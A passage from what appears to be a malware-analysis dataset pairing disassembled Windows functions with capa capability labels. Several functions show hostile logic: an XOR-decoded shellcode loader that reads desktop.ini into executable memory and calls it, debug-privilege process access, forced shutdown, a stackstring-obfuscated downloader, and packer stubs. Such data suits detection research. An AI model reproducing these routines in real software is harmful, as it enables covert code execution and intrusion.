joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40d820
Capabilities:
Contain obfuscated stackstrings
Get hostname

Disassembly:
sub esp, 0x430
push ebx
push ebp
push esi
push edi
push str.wsprintfA
push str.USER32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebp, dword [esp + 0x44c]
mov esi, dword [esp + 0x448]
mov ecx, ebp
mov edx, eax
mov ebx, ecx
xor eax, eax
mov edi, esi
mov byte [esp + 0x18], 0x53
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, ebx
mov bl, 0x74
and ecx, 3
mov byte [esp + 0x19], 0x59
rep stosb byte es:[edi], al
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x40]
mov byte [esp + 0x1a], 0x53
rep stosd dword es:[edi], eax
mov al, 0x65
mov cl, 0x72
mov byte [esp + 0x23], al
mov byte [esp + 0x2e], al
mov byte [esp + 0x32], al
mov byte [esp + 0x37], al
mov eax, dword [esp + 0x444]
mov byte [esp + 0x21], cl
mov byte [esp + 0x22], cl
mov byte [esp + 0x2a], cl
mov byte [esp + 0x33], cl
push eax
lea ecx, [esp + 0x1c]
lea eax, [esp + 0x44]
push ecx
push eax
mov byte [esp + 0x27], 0x54
mov byte [esp + 0x28], 0x45
mov byte [esp + 0x29], 0x4d
mov byte [esp + 0x2a], 0x5c
mov byte [esp + 0x2b], 0x43
mov byte [esp + 0x2c], 0x75
mov byte [esp + 0x30], 0x6e
mov byte [esp + 0x31], bl
mov byte [esp + 0x32], 0x43
mov byte [esp + 0x33], 0x6f
mov byte [esp + 0x34], 0x6e
mov byte [esp + 0x35], bl
mov byte [esp + 0x37], 0x6f
mov byte [esp + 0x38], 0x6c
mov byte [esp + 0x39], 0x53
mov byte [esp + 0x3b], bl
mov byte [esp + 0x3c], 0x5c
mov byte [esp + 0x3d], 0x53
mov byte [esp + 0x40], 0x76
mov byte [esp + 0x41], 0x69
mov byte [esp + 0x42], 0x63
mov byte [esp + 0x44], 0x73
mov byte [esp + 0x45], 0x5c
mov byte [esp + 0x46], 0x25
mov byte [esp + 0x47], 0x73
mov byte [esp + 0x48], 0
call edx
push 0
push ebp
push 0
mov byte [esp + 0x28], 0x48
mov byte [esp + 0x29], 0x6f
mov byte [esp + 0x2a], 0x73
mov byte [esp + 0x2b], bl
mov byte [esp + 0x2c], 0
push esi
lea ecx, [esp + 0x2c]
push 1
lea edx, [esp + 0x60]
push ecx
push edx
push reloc.WS2_32.dll_bind
call fcn.0040b2b0
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
add esp, 0x2c
push esi
call edi
test eax, eax
jne 0x40d986
push ebp
push esi
call dword [sym.imp.WS2_32.dll_gethostname]
push esi
call edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x430
ret
Function at 0x40d9a0
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
sub esp, 0x22c
push ebx
push esi
lea eax, [esp + 0x20]
push edi
push eax
mov byte [esp + 0x24], 0x67
mov dword [esp + 0x100], 0
mov dword [esp + 0x28], 0x9c
call dword [0x478af8]
mov edx, dword [esp + 0x23c]
lea ecx, [esp + 0x138]
push 0x100
push ecx
push edx
call fcn.0040d820
mov ebx, dword [esp + 0x24c]
xor eax, eax
mov dword [esp + 0x1c], eax
add esp, 0xc
mov dword [esp + 0x14], eax
lea ecx, [esp + 0xc]
mov dword [esp + 0x18], eax
lea edx, [esp + 0x10]
mov dword [esp + 0x1c], eax
mov eax, dword [ebx + 0xa8]
push ecx
push edx
push eax
mov dword [esp + 0x18], 0x10
call dword [sym.imp.WS2_32.dll_getsockname]
mov ecx, dword [esp + 0x14]
lea esi, [esp + 0x138]
mov dword [esp + 0xc4], ecx
mov ecx, 0xc
lea edi, [esp + 0xc8]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
call fcn.0040d660
mov dword [esp + 0xc0], eax
call fcn.0040d7d0
mov edi, dword [esp + 0x248]
mov dword [esp + 0xfc], eax
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov edx, dword [esp + 0x244]
push pe_nt_image_headers32
not ecx
sub edi, ecx
mov dword [esp + 0x104], edx
lea edx, [esp + 0x108]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x24]
push ecx
mov ecx, ebx
call fcn.00403940
pop edi
pop esi
pop ebx
add esp, 0x22c
ret
Function at 0x40f730
Capabilities:
Acquire debug privileges

Disassembly:
push ecx
push ebx
push esi
push edi
mov edi, ecx
push 1
push str.SeDebugPrivilege
mov dword [esp + 0x14], edi
call fcn.0040fb30
mov ebx, dword [esp + 0x20]
add esp, 8
xor esi, esi
test ebx, ebx
jbe 0x40f787
push ebp
mov ebp, dword [esp + 0x18]
mov eax, dword [esi + ebp]
push eax
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
push 0
push edi
call dword [0x478c24]
push edi
call dword [0x478c20]
add esi, 4
cmp esi, ebx
jb 0x40f758
mov edi, dword [esp + 0x10]
pop ebp
push 0
push str.SeDebugPrivilege
call fcn.0040fb30
add esp, 8
push 0x64
call dword [0x478c1c]
mov ecx, edi
call fcn.0040f570
mov ecx, edi
call fcn.0040f5a0
pop edi
pop esi
pop ebx
pop ecx
ret 8
Function at 0x40f8b0
Capabilities:
Acquire debug privileges

Disassembly:
sub esp, 0x238
push esi
push edi
xor esi, esi
mov ecx, 0x49
xor eax, eax
lea edi, [esp + 0x18]
mov dword [esp + 0x14], esi
mov byte [esp + 0x13c], al
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x13d]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 1
push str.SeDebugPrivilege
mov dword [esp + 0x10], esi
stosb byte es:[edi], al
call fcn.0040fb30
add esp, 8
push esi
push 2
call dword [0x478c0c]
mov edi, eax
cmp edi, 0xffffffff
mov dword [esp + 0xc], edi
jne 0x40f915
pop edi
xor eax, eax
pop esi
add esp, 0x238
ret
push ebx
push ebp
push 0x400
push 0x40
mov dword [esp + 0x24], 0x128
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ebx, eax
lea eax, [esp + 0x1c]
push eax
push edi
mov byte [ebx], 0x7f
mov ebp, 1
call dword [0x478c08]
test eax, eax
je 0x40fa68
mov ecx, dword [esp + 0x24]
push ecx
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
mov eax, dword [esp + 0x24]
test eax, eax
je 0x40fa54
cmp eax, 4
je 0x40fa54
cmp eax, 8
je 0x40fa54
lea edx, [esp + 0x18]
lea eax, [esp + 0x10]
push edx
push 4
push eax
push esi
call dword [0x478c14]
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x144]
push 0x104
push ecx
push edx
push esi
call dword [0x478c18]
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [esp + 0x40]
push eax
call esi
lea ecx, [esp + 0x144]
mov edi, eax
push ecx
call esi
lea eax, [edi + eax + 6]
push ebx
lea edi, [eax + ebp]
call dword [0x478c28]
cmp eax, edi
jae 0x40f9df
push 0x42
push edi
push ebx
call dword [0x478c04]
mov ebx, eax
mov edx, dword [esp + 0x24]
lea eax, [esp + 0x40]
mov dword [ebx + ebp], edx
push eax
add ebp, 4
call esi
mov ecx, eax
lea esi, [esp + 0x40]
inc ecx
lea edi, [ebx + ebp]
mov edx, ecx
lea eax, [esp + 0x40]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
call esi
lea ecx, [esp + 0x144]
lea ebp, [eax + ebp + 1]
push ecx
call esi
mov ecx, eax
lea esi, [esp + 0x144]
inc ecx
lea edi, [ebx + ebp]
mov edx, ecx
lea eax, [esp + 0x144]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edi, dword [esp + 0x14]
lea ebp, [eax + ebp + 1]
lea ecx, [esp + 0x1c]
push ecx
push edi
call dword [0x478c10]
test eax, eax
jne 0x40f94a
push 0x42
push ebp
push ebx
call dword [0x478c04]
push 0
push str.SeDebugPrivilege
mov esi, eax
call fcn.0040fb30
add esp, 8
push edi
call dword [0x478c20]
pop ebp
pop ebx
mov eax, esi
pop edi
pop esi
add esp, 0x238
ret

Function at 0x40fbc0
Capabilities:
Shutdown system

Disassembly:
push 1
push str.SeShutdownPrivilege
call fcn.0040fb30
mov eax, dword [esp + 0xc]
add esp, 8
push 0
push eax
call dword [sym.imp.USER32.dll_ExitWindowsEx]
push 0
push str.SeShutdownPrivilege
call fcn.0040fb30
add esp, 8
ret
Function at 0x40fdb0
Capabilities:
Create thread

Disassembly:
sub esp, 0x10
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x20]
mov dl, byte [esp + 0x2c]
push esi
push 0
push 0
push 0
push 0
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], ecx
mov byte [esp + 0x1c], dl
call dword [0x478c70]
mov ecx, dword [esp + 0x28]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x2c]
lea edx, [esp + 4]
push eax
mov eax, dword [esp + 0x20]
push ecx
mov ecx, dword [esp + 0x20]
push edx
push 0x40fd80
push eax
push ecx
call sub.MSVCRT.dll__beginthreadex
mov edx, dword [esp + 0x28]
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push edx
call dword [0x478c6c]
mov eax, dword [esp + 0x10]
push eax
call dword [0x478c68]
mov eax, esi
pop esi
add esp, 0x10
ret

Function at 0x410160
Capabilities:
Simulate ctrl alt del

Disassembly:
sub esp, 0xc
push esi
call dword [0x478c48]
push eax
call dword [0x478c4c]
mov esi, eax
mov al, 0x6f
mov byte [esp + 8], al
mov byte [esp + 0xa], al
lea eax, [esp + 4]
mov cl, 0x6e
push eax
mov byte [esp + 8], 0x57
mov byte [esp + 9], 0x69
mov byte [esp + 0xa], cl
mov byte [esp + 0xb], 0x6c
mov byte [esp + 0xd], 0x67
mov byte [esp + 0xf], cl
mov byte [esp + 0x10], 0
call fcn.00410110
add esp, 4
test eax, eax
jne 0x4101b6
pop esi
add esp, 0xc
ret
push 0x2e0003
push 0
push 0x312
push 0xffff
call dword [sym.imp.USER32.dll_PostMessageA]
test esi, esi
je 0x4101da
push esi
call fcn.00410070
add esp, 4
mov eax, 1
pop esi
add esp, 0xc
ret
Function at 0x4102b0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x42c
push ebx
push ebp
push esi
push edi
xor edi, edi
mov al, 0x6c
push edi
mov byte [esp + 0x18], al
mov byte [esp + 0x19], al
mov byte [esp + 0x29], al
push edi
push edi
lea eax, [esp + 0x1c]
mov esi, 1
mov bl, 0x6f
mov dl, 0x69
mov cl, 0x61
push edi
push eax
mov dword [esp + 0x40], edi
mov dword [esp + 0x4c], edi
mov dword [esp + 0x44], esi
mov byte [esp + 0x24], 0x4d
mov byte [esp + 0x25], bl
mov byte [esp + 0x26], 0x7a
mov byte [esp + 0x27], dl
mov byte [esp + 0x2a], cl
mov byte [esp + 0x2b], 0x2f
mov byte [esp + 0x2c], 0x34
mov byte [esp + 0x2d], 0x2e
mov byte [esp + 0x2e], 0x30
mov byte [esp + 0x2f], 0x20
mov byte [esp + 0x30], 0x28
mov byte [esp + 0x31], 0x63
mov byte [esp + 0x32], bl
mov byte [esp + 0x33], 0x6d
mov byte [esp + 0x34], 0x70
mov byte [esp + 0x35], cl
mov byte [esp + 0x36], 0x74
mov byte [esp + 0x37], dl
mov byte [esp + 0x38], 0x62
mov byte [esp + 0x3a], 0x65
mov byte [esp + 0x3b], 0x29
mov byte [esp + 0x3c], 0
call dword [0x478c38]
mov ebx, eax
cmp ebx, edi
jne 0x41036b
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x42c
ret
mov ecx, dword [esp + 0x440]
push edi
push closesocket
push edi
push edi
push ecx
push ebx
call dword [0x478c3c]
mov ebp, eax
cmp ebp, edi
jne 0x410395
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x42c
ret
mov edx, dword [esp + 0x444]
push edi
push edi
push 2
push edi
push edi
push 0x40000000
push edx
call dword [0x478c30]
cmp eax, 0xffffffff
mov dword [esp + 0x34], eax
je 0x410421
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x3c]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x2c]
lea ecx, [esp + 0x3c]
push eax
push 0x400
push ecx
push ebp
call dword [0x478c34]
test esi, esi
je 0x4103e7
cmp word [esp + 0x3c], 0x5a4d
jne 0x41040e
mov eax, dword [esp + 0x2c]
xor esi, esi
lea edx, [esp + 0x38]
push esi
push edx
mov edx, dword [esp + 0x3c]
lea ecx, [esp + 0x44]
push eax
push ecx
push edx
call dword [0x478c2c]
mov eax, dword [esp + 0x2c]
test eax, eax
jbe 0x410416
jmp 0x4103b7
mov dword [esp + 0x30], 0
mov eax, dword [esp + 0x34]
push eax
call dword [0x478c68]
push ebp
call dword [0x478c40]
push ebx
call dword [0x478c40]
mov ecx, dword [esp + 0x30]
xor eax, eax
pop edi
pop esi
test ecx, ecx
pop ebp
pop ebx
setne al
add esp, 0x42c
ret
Function at 0x44f080
Capabilities:
Encode data using xor

Disassembly:
push ecx
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 8]
mov edx, dword [esp + 0x10]
push ebx
lea eax, [eax + eax*2]
push ebp
xor ebp, ebp
push esi
lea eax, [eax + eax*4]
push edi
mov dword [esp + 0x10], ebp
lea ecx, [ecx + eax*2 + 0x20]
mov ax, word [edx]
imul ax, word [esp + 0x24]
cmp ax, 0xf800
mov word [ecx], ax
jge 0x44f0ba
mov eax, 0xfffff800
jmp 0x44f0ca
cmp ax, 0x7ff
jle 0x44f0c7
mov eax, 0x7ff
jmp 0x44f0ca
movsx eax, ax
mov edi, edx
mov word [ecx], ax
lea esi, [edx + 0x10]
lea eax, [ecx + 2]
sub edi, ecx
mov dword [esp + 0x20], esi
mov ecx, 7
mov bx, word [edi + eax]
add esi, 0x10
mov word [eax], bx
mov bx, word [esi - 0x10]
mov word [eax + 0xe], bx
add eax, 2
dec ecx
jne 0x44f0e0
mov edi, dword [esp + 0x28]
mov ecx, dword [esp + 0x18]
mov esi, 1
mov ax, word [edi]
sub word [edx], ax
mov eax, dword [esp + 0x1c]
cmp dword [ecx + eax*4 + 0xd4], esi
jne 0x44f162
mov ebx, edx
lea esi, [edi + 2]
sub ebx, edi
mov edi, 7
mov cx, word [ebx + esi]
add esi, 2
movsx eax, cx
cdq
xor eax, edx
mov dword [esp + 0x18], ecx
sub cx, word [esi - 2]
sub eax, edx
add ebp, eax
movsx eax, cx
cdq
xor eax, edx
mov word [esi - 2], cx
sub eax, edx
mov edx, dword [esp + 0x10]
add edx, eax
dec edi
mov dword [esp + 0x10], edx
jne 0x44f124
pop edi
mov eax, ebp
mov ecx, edx
pop esi
pop ebp
sub eax, ecx
pop ebx
pop ecx
ret
mov ebx, dword [esp + 0x20]
mov dx, word [ebx]
add ebx, 0x10
mov cx, dx
mov dword [esp + 0x18], edx
movsx eax, cx
sub cx, word [edi + esi*2]
cdq
xor eax, edx
mov word [edi + esi*2], cx
sub eax, edx
add ebp, eax
movsx eax, cx
cdq
xor eax, edx
sub eax, edx
mov edx, dword [esp + 0x10]
add edx, eax
inc esi
cmp esi, 8
mov dword [esp + 0x10], edx
jb 0x44f166
pop edi
mov eax, ebp
mov ecx, edx
pop esi
pop ebp
sub eax, ecx
pop ebx
pop ecx
ret
Function at 0x98a68c
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 8], esi
jne 0x98a6b3
call fcn.0092cbf8
mov dword [eax], esi
call fcn.0092cbe5
push 0x16
pop esi
mov dword [eax], esi
call fcn.0092d83a
mov eax, esi
jmp 0x98a708
test dword [ebp + 0xc], 0xfffffff9
jne 0x98a699
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x98a6e0
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.0092cc0b
pop ecx
call fcn.0092cbe5
mov eax, dword [eax]
jmp 0x98a708
test al, 0x10
jne 0x98a706
test al, 1
je 0x98a706
test byte [ebp + 0xc], 2
je 0x98a706
call fcn.0092cbf8
mov dword [eax], 5
call fcn.0092cbe5
mov dword [eax], 0xd
jmp 0x98a6d7
xor eax, eax
pop esi
pop ebp
ret

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..reloc
nop
nop
nop
nop
nop
push 4
nop
nop
nop
nop
pop edi
nop
cmp eax, 0
nop
nop
nop
nop
nop
nop
je 0x430072
nop
nop
mov ebx, 0x408ecc
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x612046cf
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x430060
nop
nop
mov eax, section..data
nop
cmp eax, 0
nop
nop
nop
nop
je 0x4300d2
nop
nop
nop
mov ebx, 0x42e1d0
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x36e65bb0
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x4300c0
nop
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0xd68058
Capabilities:
Decompress data using aplib

Disassembly:
call 0xd681a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, pe_nt_image_headers32
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0xd6807e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xd6806a
add dl, dl
jne 0xd68089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xd680dc
xor eax, eax
add dl, dl
jne 0xd68096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xd6817d
add dl, dl
jne 0xd680a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xd680b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xd680bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xd680c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0xd680d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0xd68075
mov eax, 1
add dl, dl
jne 0xd680ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xd680f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xd680e1
sub eax, ebx
mov ebx, 1
jne 0xd68128
mov ecx, 1
add dl, dl
jne 0xd6810e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xd68119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xd68105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xd68075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0xd6813f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xd6814a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xd68136
cmp eax, 0x7d00
jae 0xd6816d
cmp eax, 0x500
jb 0xd68168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xd68075
cmp eax, 0x7f
ja 0xd68170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xd68075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0xd6819e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0xd68075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10

Function at 0x460a1e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
mov eax, section.sect_0
call 0x460a1e
lcall 0x5de5, 0x8b10c483
jmp loc.0121cc90
Function at 0x401000
Capabilities:
Set registry value

Disassembly:
sub esp, 0xc
push ebx
push ebp
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
lea eax, [esp + 0x10]
push eax
push 0x20006
push 0
push 0
push 0x80000001
mov dword [esp + 0x24], 0
mov dword [esp + 0x20], 0
mov dword [esp + 0x28], 1
call edi
mov ebx, dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ebp, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
jne 0x40108f
mov edx, dword [esp + 0x10]
push 0
lea ecx, [esp + 0x10]
push ecx
push 0
push 0x20006
push 0
push 0
push 0
push str.SoftwarePoliciesMicrosoftWindowsAppCompat
push edx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x40108f
mov ecx, dword [esp + 0xc]
push 4
lea eax, [esp + 0x18]
push eax
push 4
push 0
push str.DisablePCA
push ecx
call ebx
mov edx, dword [esp + 0xc]
push edx
call ebp
lea eax, [esp + 0x10]
push eax
push 0x20006
push 0
push 0
push 0x80000002
call edi
test eax, eax
jne 0x4010e9
mov edx, dword [esp + 0x10]
push eax
lea ecx, [esp + 0x10]
push ecx
push eax
push 0x20006
push eax
push eax
push eax
push str.SoftwarePoliciesMicrosoftWindowsAppCompat
push edx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x4010e9
mov ecx, dword [esp + 0xc]
push 4
lea eax, [esp + 0x18]
push eax
push 4
push 0
push str.DisablePCA
push ecx
call ebx
mov edx, dword [esp + 0xc]
push edx
call ebp
pop edi
pop ebp
pop ebx
add esp, 0xc
ret

Function at 0x4010f0
Capabilities:
Check os version

Disassembly:
sub esp, 0x238
mov eax, dword [0x420044]
xor eax, esp
mov dword [esp + 0x234], eax
push ebx
push esi
push edi
push 0x114
xor ebx, ebx
lea eax, [esp + 0x14]
push ebx
push eax
call fcn.00409780
add esp, 0xc
lea ecx, [esp + 0x10]
push ecx
mov dword [esp + 0x14], 0x114
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x18]
lea edx, [ebx + 1]
cmp eax, 5
ja 0x40114d
jne 0x401145
cmp ecx, edx
jae 0x40114d
mov byte [0x428950], bl
jmp 0x401153
mov byte [0x428950], dl
cmp eax, 6
jne 0x401222
cmp ecx, ebx
jne 0x401222
mov byte [0x428951], dl
mov byte [0x428952], bl
cmp eax, 6
jne 0x401180
mov byte [0x428953], dl
cmp ecx, 2
jae 0x401186
mov byte [0x428953], bl
push 0x11c
lea edx, [esp + 0x128]
push ebx
push edx
call fcn.00409780
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
add esp, 0xc
push str.NTDLL
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, ebx
je 0x4011c9
push str.RtlGetVersion
push eax
call esi
cmp eax, ebx
je 0x4011c9
lea ecx, [esp + 0x124]
push ecx
call eax
cmp dword [esp + 0x128], 0xa
push str.IsWow64Process
sete dl
push str.kernel32
mov byte [0x428954], dl
mov dword [esp + 0x14], ebx
call edi
push eax
call esi
mov esi, eax
cmp esi, ebx
je 0x401201
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
mov ecx, dword [esp + 0x240]
mov eax, dword [esp + 0xc]
pop edi
pop esi
pop ebx
xor ecx, esp
mov dword [0x42106c], eax
call fcn.004071fc
add esp, 0x238
ret
mov byte [0x428951], bl
cmp eax, 6
jne 0x40116a
cmp ecx, edx
jb 0x40116a
mov byte [0x428952], dl
jmp 0x401175
Function at 0x401530
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x318
mov eax, dword [0x420044]
xor eax, esp
mov dword [esp + 0x314], eax
push ebx
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x11a]
push ecx
mov word [esp + 0x11c], ax
call fcn.00409780
push 0x103
lea edx, [esp + 0x1d]
push 0
push edx
mov dword [esp + 0x1c], 0xff
mov byte [esp + 0x24], 0
call fcn.00409780
push str.0.1_IsDriverInstallNeeded___n
xor bl, bl
call fcn.004032b0
add esp, 0x1c
mov eax, str.SYSTEMCurrentControlSetControlClass36FC9E60_C465_11CF_8056_444553540000
cmp byte [0x428953], bl
je 0x4015a1
mov eax, str.SYSTEMControlSet001ControlClass36fc9e60_c465_11cf_8056_444553540000
lea ecx, [esp + 8]
push ecx
push 0x20019
push 0
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4016a1
mov ecx, dword [esp + 8]
lea edx, [esp + 4]
push edx
lea eax, [esp + 0x114]
push eax
push 0
push 0
push str.UpperFilters
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x4016d0
mov edx, dword [esp + 4]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push eax
push eax
push eax
push eax
push edx
lea eax, [esp + 0x128]
push eax
push 0
push 0
call esi
mov edx, dword [esp + 8]
push 0
push 0
push eax
lea ecx, [esp + 0x1c]
push ecx
push edx
lea eax, [esp + 0x128]
push eax
push 0
push 0
call esi
lea ecx, [esp + 0x10]
push str.vl810filter
push ecx
call fcn.004072e0
add esp, 8
test eax, eax
jne 0x40168f
lea eax, [esp + 0x10]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401642
sub eax, edx
movzx esi, ax
cmp byte [esp + esi + 0x11], cl
lea esi, [esp + esi + 0x11]
je 0x401691
jmp 0x401660
push str.vl810filter
push esi
call fcn.004072e0
add esp, 8
test eax, eax
jne 0x40168f
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401677
sub eax, edx
movzx edx, ax
cmp byte [esi + edx + 1], cl
lea esi, [esi + edx + 1]
jne 0x401660
jmp 0x401691
mov bl, 1
mov eax, dword [esp + 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
test bl, bl
jne 0x4016b8
cmp byte [esp + 0x320], 0
jne 0x4016b8
push str.Error__Filter_Driver_not_found_n
call fcn.004032b0
add esp, 4
mov ecx, dword [esp + 0x318]
mov al, bl
pop ebx
xor ecx, esp
call fcn.004071fc
add esp, 0x318
ret
xor bl, bl
jmp 0x4016a1